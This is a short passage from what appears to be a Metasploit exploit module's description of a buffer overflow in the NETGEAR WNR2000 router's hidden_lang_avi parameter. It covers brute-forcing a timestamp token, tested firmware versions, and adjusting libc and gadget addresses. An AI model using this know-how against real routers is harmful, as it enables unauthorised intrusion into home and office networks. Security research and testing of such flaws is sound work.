      'Description'    => %q{
        The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
        parameter.
        In order to exploit it, it is necessary to guess the value of a certain timestamp which
        is in the configuration of the router. An authenticated attacker can simply fetch this
        from a page, but an unauthenticated attacker has to brute force it.
        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
        it is guaranteed that it can be bruteforced.
        This module implements both modes, and it works very reliably. It has been tested with
        the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
        revisions v4 and v3, but this has not been tested - with these routers it might be necessary
        to adjust the LibcBase variable as well as the gadget addresses.
